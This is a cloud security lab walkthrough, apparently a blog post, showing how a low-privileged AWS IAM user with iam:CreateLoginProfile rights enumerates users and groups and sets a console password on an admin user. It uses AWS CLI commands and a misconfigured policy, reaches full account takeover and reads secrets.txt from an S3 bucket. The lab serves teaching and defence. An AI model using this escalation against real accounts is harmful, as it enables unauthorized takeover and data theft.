Identity and Access Management (IAM) is the foundation of security in every cloud platform. Misconfigurations or over-privileged identities are among the most common causes of cloud breaches, making IAM a prime target for both attackers and defenders.
This hands-on lab demonstrates how a low-privileged IAM user can create console login profiles for other users that can be abused to escalate to full account admin.
About IAM CreateLoginProfile
Lab Setup and Prerequisite
Part 1: IAM Lab Setup
Part 2: Enumeration and Exploitation
Analysis
Recommendations
Conclusion
CreateLoginProfile in AWS IAM is the API action that creates a password (login profile) for an IAM user so they can sign in to the AWS Management Console.
You can use the AWS CLI, the AWS API, or the Users page in the IAM console to create a password for any IAM user.
If you are new to AWS platform, it is recommended to go through the AWS Lab setup here.
Here are the instructions for setting up the environment. We will access the AWS console and configure the AWS Command Line Interface (CLI).
Users:
Igt_sanjeet : Low privileged user with risky permissions attached
Igt_admin : High privileged user with admin access
Policy name:
Igt_LoginProfile-PrivEsc










Then, create a powerful IAM user. This user embodies the elevated permissions that lgt_sanjeet (low-privileged user) will temporarily gain during our demonstration.



Click Next






{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:CreateLoginProfile",
"iam:ListAccessKeys",
"iam:ListAttachedUserPolicies"
],
"Resource": [
"arn:aws:iam::*:user/Igt_sanjeet",
"arn:aws:iam::*:user/Igt_admin"
]
},
{
"Effect": "Allow",
"Action": [
"iam:ListUsers",
"iam:ListGroups",
"iam:ListGroupPolicies",
"iam:GetGroupPolicy"
],
"Resource": "*"
}
]
}

This is how the policy appears on Policy editor in JSON format.




Use Case Scenario for CreateLoginProfile
In real world scenarios, it’s for onboarding, but in a security lab it’s to demonstrate how misconfigured permissions can lead to privilege escalation.
python enumerate-iam.py --access-key AKI*********** --secret-key ISN*************
This Python enumeration confirmed that the low-privileged user Igt_sanjeet can list IAM users, groups, and access keys, providing the necessary visibility to identify and escalate into higher-privileged accounts.

Now set up the AWS CLI with the IAM user’s credentials, to directly interact with the AWS environment from Kali machine.
aws configure --profile Igt_sanjeet
Assigning the access key ID, secret access key, and default region for that profile.
aws sts get-caller-identity --profile Igt_sanjeet
aws s3 ls --profile Igt_sanjeet
The action will be denied as no identity-based policy can do it.
It does not filter to only groups that Igt_sanjeet belongs to, it returns every group in the account (unless blocked by permissions).
aws iam list-groups —profile Igt_sanjeet

aws iam list-group-policies --group-name create-loginprofile-group --profile Igt_sanjeet
aws iam get-group-policy --group-name create-loginprofile-group --policy-name Igt_LoginProfile-PrivEsc --profile Igt_sanjeet

aws iam list-users --profile Igt_sanjeet
NOTE: Since Igt_admin has the AdministratorAccess policy, whoever controls this password can log in to the AWS Console as a full admin, which in a misconfigured environment = privilege escalation to admin.
aws iam create-login-profile --user-name Igt_admin --password 'YourStrongP@ssw0rd!' --password-reset-required --profile Igt_sanjeet

Firstly, use the AWS Console login page with your account ID, enter IAM username Igt_admin, the password you set with create-login-profile, and click Sign in.

After login, check the console banner, it should show Igt_admin with full access. Now, the user has administrator privileges through privilege escalation.

In the Console (top-left search), type s3 and click S3 — confirm you are signed in as Igt_admin (top-right).

On General purpose buckets, select the bucket, named Igt_bucket

Then, click your bucket name (Igt-bucket) and here in objects you can see a text file secrets.txt, Download the file

On AWS CLI, use this command to check if it’s working, and it’s a success this time.
ls secrets.txt
Display the contents of file
cat secrets.txt

This lab demonstrates how a seemingly low-privileged IAM user (Igt_sanjeet) abuses a iam:CreateLoginProfile permission for the Igt_admin user (who already had the AdministratorAccess policy attached), the attacker gained direct console login as Igt_admin, achieving full account takeover.
This lab shows how a single misconfigured IAM permission (CreateLoginProfile) can lead to full account compromise when combined with enumeration rights. IAM misconfigurations are low-hanging fruit for attackers. Preventive controls, detection, and governance are critical to stop privilege escalation in the cloud.
Author: Fatima Aziz is an accomplished cybersecurity professional with expertise in cloud security, holding certifications such as GPCS and CCSK. Contact Fatima Aziz on LinkedIn